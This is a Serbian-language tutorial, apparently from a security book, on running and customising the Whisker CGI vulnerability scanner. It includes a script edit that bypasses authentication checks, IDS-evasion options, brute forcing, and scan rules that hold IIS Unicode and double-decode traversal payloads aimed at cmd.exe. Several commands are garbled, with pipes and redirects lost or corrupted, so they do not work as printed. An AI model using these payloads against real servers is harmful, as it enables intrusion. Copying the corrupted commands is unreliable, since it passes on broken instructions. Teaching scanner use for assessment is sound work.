|
Document sans titre
Web serveri kao sto su Apache, iPlanet i IIS prolaze kroz mnoge revizije i azuriranja
bezbednosti. Web osetljivost skenera u osnovi se sastoji iz masine za skeniranje
i kataloga. Katalog sadrzi listu zajednickih fajlova, fajlovi poznatih osetljivosti,
i zajednickih eksploatacija opsega servera. Na primer, osetljivost skenera trazi
bekap fajlove (kao sto je preimenovanje default.asp u default.asp.bak) ili pokusava
da iskoristi direktorijumski prelazak (kao sto je proveravanje ..%255c..%255c).
masina za skeniranje upravlja logikom za citanje kataloga eksploatacija,saljuci
zahteve web serveru, i interpretirajuci zahteve da odredi da li je server ranjen.
Ovi alati ciljaju na osetljivosti koje se lako popravljaju bezbednim host konfiguracijama,
azuriranjem bezbedonosnih zakrpa i ciscenjem web korena dokumenta.
Whisker
Whisker nije deda common gateway interface (CGI) osetljivosti skenera; medutim,
to je bio prvi alat odakle poticu obe tehnike za proveru zajednickih osetljivosti,
inteligentnog skeniranja koje reaguje na HTTP kodove odgovora, i izbegava intrusion-detection
system (IDS). Whisker koristi jednostavno napisan (iako nije uvek jasan ) Perl
skript. Odrzavanje savremenog whisker-a zahteva nista vise do otvaranja uredivaca
teksta da se modifikuje njegova podrska fajlovima za korisnicka imena, lozinke
i osetljivosti CGI skriptova.
Implementacija
Lista osetljivosti u verziji 1.4 whisker je mozda zastareo, ali takode ukljucuje
provere direktorijuma koje nikad ne odlaze. Proverite /backup/ ili /log/ didrektorijume
i sam.txt fajlove koji nikada nece zastareti. Da biste pokrenuli whisker sa
pojedinadne IP adrese ili imena hosta, koristite -h opciju. Opcija -H (napomenimo
veliko slovo) omogucuje Vam da specificirate fajl koji sadrzi listu IP adresa
i imena hostova. Takode je dobra ideja uvek koristiti -vv opciju za zapisivanje
rezultata svake pokrenute provere skenerom; detaljno cemo izloziti ovo kasnije.
Konacno, opcija -W kreira HTML izlaz. Ovo izgleda da spada u kategoriju "zvona
i pistaljki", ali njegova korisnost i predstavljanje treba da utisa neke
klevetnike.
Osnovna whisker komandna linija izgleda ovako:
$ whisker.pl -h 192.168.42.27 -vv
whisker / vl.4.0+SSL / rain forest puppy / www.wiretrip.net -( Bonus: Parallel
support )
Loaded script database of 2045 lines
= Host: 192.168.42.27
Cookie: PREF=ID=28bd8b28723a3f00:TM=1014183574:LM=1014183574:S=iaEPbCBRdvA
Server: IIS/5.0
+ 200 OK: GET /robots.txt
Ispustili smo opciju -W da bi ucinili izlaz citljivijim na papiru. Posto je
whisker pokrenut, skladistice izlaz na ekran (stdout, za Unix). Ne gubite rezultate
iz whisker pregleda; mozete snimiti izlaz u fajl. Opcija komandne linije je
-l pracena imenom fajla prijave, ali to retko koristimo. Umesto toga, koristite
ovu Unix komandnu liniju:
$ whisker.pl -h 192.168.42.27 -vv -W 1 tee whisker80 192.168.42.27.html.raw
Opisno ime fajla dozvoljava Vam brz pregled direktorijuma i vizuelno lociranje
posebnog fajla. 80 predtsavlja broj porta scanned- u ovom slucaju, whisker podrazumevana
vrednost. razlicit port moze se specificirati koriscenjem -p opcije.
Pre nego sto upozorimo V komandnu liniju na "ne-standardne" web sajtove,
koncentrisimo se na ispitivanje njegovog izlaza da pronademo realne osetljivosti.
Ovde dodajemo html.raw nasem izlaznom fajlu jet fajl sadrzi svaki odgovor web
servera, ukljudujuci svaki "404 Not Found" odgovor koji nam nije potreban.
jednostavan nacin da izbacimo ove linije je:
$ grep -v 404 whisker80 server.html.raw whisker80 server.html
Drugi kandidati ove linije mogu biti 400 (log odgovor), 401 (neautorizovan)
i 403 (zabranjen). Medutim, interesuju nas 400 i 401 greske. 400 greska treba
da je retkost, posto whisker najvise trazi opte fajlove sa opstim ekstenzijama.
401 greska znaci da fajl ili direktorijum postoji (verovatno), ali potrebno
nam je ispravno korisnicko ime i lozinka da mu pristupimo-dve stvari na koje
whisker mole naici. 403 greska predstavlja fajl ili direktorijum kome nemamo
pristup usled nekog pravila servera koji zahteva neke vrste akreditiva. Pa,
da izbacimo samo 403 i 404 gresku kodova, koristimo ovo:
$ grep -v 40[34] whisker80 server.html.raw whisker80 server.html
Ako pretpostavimo sablon, mozete pogoditi da izbacivanje sve cetiri prethodne
40x greske koda izgleda ovako:
$ grep -v 40[0134] whisker80_server.html.raw whisker80_server.html
Podsetite se da iako je povratni HTTP kod 200 za neki osetljivi fajl koji je
otkriven skenerom, neka informacija koju vraca skener je korisna. Ako zahtev
za /.old/ direktorijum dovodi do toga da server vrati 401 gresku, bar znamo
da direktorijum postoji. Mznda pronademo razlicit nacin da dobijemo njegove
sadrzaje.
Drugi trik je da prisilimo Whisker da nastavimo pregledavanje sajta cak iako
njegova home strana zahteva autenticnost. Ponekad administrator mozda primenjuje
pristup kontrolama za direktorijum na vrhu nivoa-/admin/ na primer-ali zanemarite
pristup kontrolama manjim direktorijumima ili fajlovima, kao sto je /admin/Docs/default.cfg.
Pa mozemo koristiti prisilan trik menjanjem linije u whisker.pl skriptu. Originalna
linija i njeni presedani izgledaju kao sto je ovde prikazano:
if($D{'XXAuth'} ne ""){
wprint("- Server demands authorization.");
wprint("- We don't have a login, so skipping host...n");
$D{'XXServerInject'}="exit";}
Promenite $D{' XXServerInject' } promenljivu da izjednacite sa exit. Ovo ce
naciniti whisker, da ignorise stvar za koju nemate odgovarajuce akreditive za
sajt.
if($D{'XXAuth'} ne ""){
wprint("- Server demands authorization.");
wprint("- We don't have a login, so skipping host...n");
$D{'XXServerInject'}="foo";}
Server moze vratiti 401 gresku ili 30x redirekcija strane prijave za svaki
zahtev koji cini whisker, ali je vredan za tih nekoliko slucaja gde su liste
pristupa kontrole loge primecene. Bilo kad, mozete uvek koristiti grep da izbacite
greske.
Originalna verzija 1.4 whisker nije podrzavala Secure Sockets Layer (SSL) protokol.
Ovo nije neophodan problem, iako, posto mozete postaviti OpenSSL proxy , ali
proxy nije izvodljiv kada skenirate vise od jedne IP adrese u trenutku. Zbog
toga, H. D. Moore modifikuje whisker da podrzi Perl SSL funkcije.
NAPOMENA
Net::SSLeay modul, kao kod svakog drugog Perl modula, mode se pronaci na adresi
http://www.cpan. org. Instalirane instrukcije su iskrene. Obicni koraci su perl
Makefile.PL, make, make test i make install za bilo koji modul. Net::SSLeay
modul zahteva rad sa OpenSSL binarnim. Unix i Cygwin olaksavaju ovo ?
Komanda koja pokrene whisker pomocu SSL podrske zahteva - x opciju. Port 443
bise postavljen kao podrazumevana, ali se moze promeniti -p opcijom.
$ whisker.pl -x -h 192.168.42.27 -vv -W tee whisker443 192.168.42.27.html.raw
Ili, stvarno koriscenje opcije -x, mozemo pokrenuti za listu hostova:
$ whisker.pl -x -H hosts ssl.txt -vv -W 1 tee whisker443 hosts ssl.html.raw
Ako ste ikad citali izvorni kod whisker, znate da se pokrene kao CGI modul
sa web servera. Podesite web server, preimenujte whisker u whisker.cgi, i postavite
ga u direktorijum /cgi-bin/ web servera. Kao sto se podrazumeva, ovaj rezim
ogranicava whisker funkcionalnost da skenira samo pojedinacni host, specificiranjem
proizvoljnih portova i prisiljavajuci udaljeni tip servera. Zatim ponovo, ako
razumete izvorni kod, treba da prilagodite CGI verziju standardu.
RAD SA PROBLEMATICNIM WEB SAJTOVIMA
Whisker nije dobar alat jer skenira odredene portove iz odredene liste osetljivih
CCI skriptova. Dobar je alat zbog svoje fleksibilnosti. Whisker nudi druge opcije
komandne linije koje zaobilaze neke jednostavne mere bezbednosti.
Najlaksa bezbednost, i jedan nacin koji ce poraziti najvise diletantnih pokretaca
skripta, je da se promeni identifikacioni string web servera. Kao administrator,
ne treba nikada da se oslanjate na bezbednost nepoznavanjem IIS 5.0 servera
koji se pokazao kao Apache 1.3.22. medutim, neki alati-koje ukljucuje Whisker-nece
pokrenuti provere posebno za IIS ako se web server baner pojavi kao Apache.
Whisker Vam dozvoljava da prisilite udaljeni tip servera koriscenjem - S (veliko
slovo) opcije:
$ whisker.pl -h 192.168.42.27 -vv -W -S "IIS/5.0"
Ova opcija prisiljava whisker da pokrene sve specificne IIS provere u svojoj
bazi podataka, s obzirom na cinjenicu na sta ukazuje informacija zaglavlja servera.
Nadamo da ste zadovoljni sa Perlom, jer poseduje jos jednu prednost, a to je
da -S opcija radi bolje. Nakon ove dve linije,
$D{'XXUserAgent'} = "Mozilla/5.0 [en] (Win95; U)";
$D{'XXForce'}=1 if defined($args{f});
dodajte novu liniju da se uverite da skenira tip servera koji je specificiran
u komandnoj liniji. Promenljiva XXForceS je u logici pregleda kada odredujemo
koje fajlove testirati:
$D{'XXForceS'}=1 if defined($args{S});
Druga prepreka nekoj osetljivosti skenera je rad sa sajtovima koji zahteva
autenticnost. HTTP Basic Authentification je prilicno laka za upravljanje. Korisnicko
ime i lozinka se kodiraju sa osnovom 64, i nisu sifrovani nekim jakim algoritmom.
Plus, akreditivi autenticnosti su postavljeni u informaciji zaglavlja koje je
snabdeo klijent (web pretrazivac ili osetljivost masine za skeniranje). Za neki
sajt koji zahteva osnovnu autenticnost, koristite -a opciju da specificirate
ispravne akreditive. Korisnicko ime i lozinka se odvajaju dvotackom:
$ whisker.pl -h 192.168.42.27 -vv -W -a "grauf:penguin"
Whisker moze izvesti napade grubom silom u pokusaju da pogodi ispravna korisnicka
imena i lozinke. Nazalost, ovo nije jedna od dobrih whisker tacaka prodaje.
Ne mole upravljati autenticnoscu koja se bazira na Form. Takode, sajt ce zbuniti
algoritam pogadanja ako vraca nesto drugo, a ne HTTP 401 kod kada je kombinacija
korisnicko ime/lozinka neispravna.
Ako zelite da proverite Vas IDS radi marljivog nadgledanja web osetljivosti,
za Vas je skup -I opcija. Svaka od opcija generise URL zahtev kojim se manipulise
na poseban nain da se izbegnu IDS potpisi. Da biste testirali IDS, pokrenite
svih 10 provera (od 0 do 9) na serveru mreze:
$ whisker.pl -h 192.168.42.27 -vv -W -13
Najbolja odbrana kod pasivnog nadgledanja je enkripcija. Krajnje je tes`ko
za IDS nadgledati saobracaj preko SSL. Drugim recima, lako je pokrenuti whisker
preko SSL i otkriti neku slabost.
PROUCAVANJE SLUCAJA: AZURIRANJE SCAN.DB U POLJU
Whisker tarball dolazi sa cetiri pregleda baza podataka: brute.db, dumb.db,
scan.db i server.db. Svaki pregled baze podataka sadrzi listu zajednickih direktorijuma,
zajednickih fajlova i osetljivosti CGI skriptova koje whisker koristi da skenira
cilj. Ove baze podataka su nesto starije i zbog toga ne pokrivaju nove eksploatacije.
Takode im nedostaju provere koje odgovaraju Vasim web serverima.
Najosnovniji ulaz opisuje direktorijum korena ili direktorijume i posebno ime
fajla koje se proverava. Pravilo u scan.db koje proverava /robots.txt, na primer,
zahteva jednu liniju:
scan () / robots.txt
Ova linija je stvarno nemoguca (ili "bez komentara") kao sto se podrazumeva.
Da bi bila moguca, izbacite povisilicu (#) sa pocetka linije, koju smo uradili.
Sledeca tabela opisuje komponente svakog pravila pregleda:
Jedna od najvecih prednosti tih pravila je da whisker optimizuje sebe posto
skenira server. Na primer, ako zelimo da proverimo prisustvo tri opsta JavaScript
fajla u sigurnom direktorijumu, pravilo moze izgledati ovako:
scan (iis) /library global.js, local.js, toolbar.js
Whisker proverava postojanje /library direktorijuma pre skeniranja bilo kojih
'.js fajlova u tom direktorijumu. Ako ovaj direktorijum nije predstavljen (znaci
da je zahtev za /library vratio 404 gresku), nece skenirati ta tri fajla. Ovo
je sporedno, ali krajnje od pomoci, brza optimizacija.
DEFINISANIE NIZOVA DIREKTORIJUMA
U mnogim slucajevima, pojedinacan fajl moie se pronaci u jednom od nekoliko
direktorijuma. Na primer, opsti /cgi-bin direktorijum moze se preimenovati nekoliko
nacina. Niz se moze deklarisati pre nego sto ga pravilo pregleda pozove. Zatim,
koristite Q simbol koji se odnosi na niz:
array cgis = cgi-bin, cgi, cgi-old, bin
scan () @cgis shopping.pl
clear @cgis
Naredba clear izbacuje niz iz memorije. Ovo nije stvarno neophodno za izvodenje,Niz
moze takode sadrzati niz. Evo primera:
array common = include, library, scripts, tools
array admin = adm, admin, manage, manager, secure, @common
Niz admin sadrzi pet novih derektorijuma i svaki od direktorijuma u zajednickom
nizu. Ovo pomaze klasifikaciji direktorijuma u odredene tipove da bi se skeniranje
ucinilo potpunijim.
Relevantan primer je dodavanje provere za IIS Unicode i Superfluos Decode direktorijum
prelaska osetljivosti. Prvo, definisimo niz koji sadrzi najopstije podrazumevane
direktorijume u IIS serveru:
array iisdirs = admin, certadm, certcontrol, certenroll, certque,
certsvr, cgi-bin, exchange, help, iisadmin, iisadmpwd, iishelp,
iissamples, images, info, mem bin, msadc, pbserver, rpc, scripts,
vti bin
Sledece, definisimo pravilo skeniranja za proveru (ovo pravilo treba da je
pojedinacna linija):
scan () @iisdirs
..%cO%af..%cO%af..%c0%af..%cO%af..%c0%afwinnt/system32/cmd.exe?/c+dir, ..%cO%af..%cO%af..%c0%af..%c0%af..%cO%afwinnt/system32/ipconfig.exe?/all+dir,
..%255c..%255c..%255c...255c...255cwinnt/system32/cmd.exe?/c+dir, ..%255c...255c..%255c..%255c..%255cwinnt/system32/ipconfig.exe?/all+dir,
cmd.exe, root.exe
%c0%af i %255c su samo dva od mnogih mogucih stringova direktorijuma prelaska,
ali oni rade. Takode, ovo pravilo proverava listinge direktorijuma iz binarnog
cmd.exe. Neki administratori ogranicavaju pristup ovom fajlu da sprece ovaj
tacan napad; medutim, ipconfig.exe je jos lepa igra. Konacne dve provere cmd.exe
i root.exe namenjene su da pronadu smrvljene prethodne hakerske pokusaje ili
crve. Ovo pravilo skeniranja moze se dodati whisker originalnom scan.db ili
smestiti u svom *.db fajlu.
Da biste koristili alternativni *.db fajl, specificirajte - s opciju u komandnoj
liniji:
$ whisker.pl -h 192.168.42.27 -vv -W -s unicode.db
OPSTI DIREKTORIJUMI I FAJLOVI Whisker upotrebivost nije ogranicena na skeniranje
poznate osetljivosti. To je takode odlican alat za pronalazenje "skrivenih"
URL, bekap fajlova i upravljackih interfejsa. Whisker scan.db fajl vec sadrzi
dobru kolicinu opstih fajlova i direktorijuma. Medutim, treba da prosirite *.db
fajl pomocu struktura direktorijuma koju ste identifikovali "kao divlju".
Na primer, mnogi web sajtovi su napisani da omoguce odredivanje jezika. Ovi
sajtovi pripremaju /en u deo fajla URL, koji utice na whisker sposobnost da
skenira opste CCI skriptove i fajlove. Whisker trazi /index.html.bak, ali ne
trazi /en/index.html.bak. Pravila pregleda moraju se modifikovati da poprave
ovo.
Ovde, umesto trazenja *.inc i *.js fajlova u opstim direktorijumima specificiramo
nizom, whisker priprema jezicki specifikator i skenira /en/inc/database.inc
i tako dalje:
array common = inc, include, lib, library, tool, tools
scan (iis) en/@common database.inc, global.inc, local.inc, toolbar.js
Potrudicu se da u sto kracem roku postavim i objasnjenje o slicnom alazu koji
ima naziv Nikto.pl
|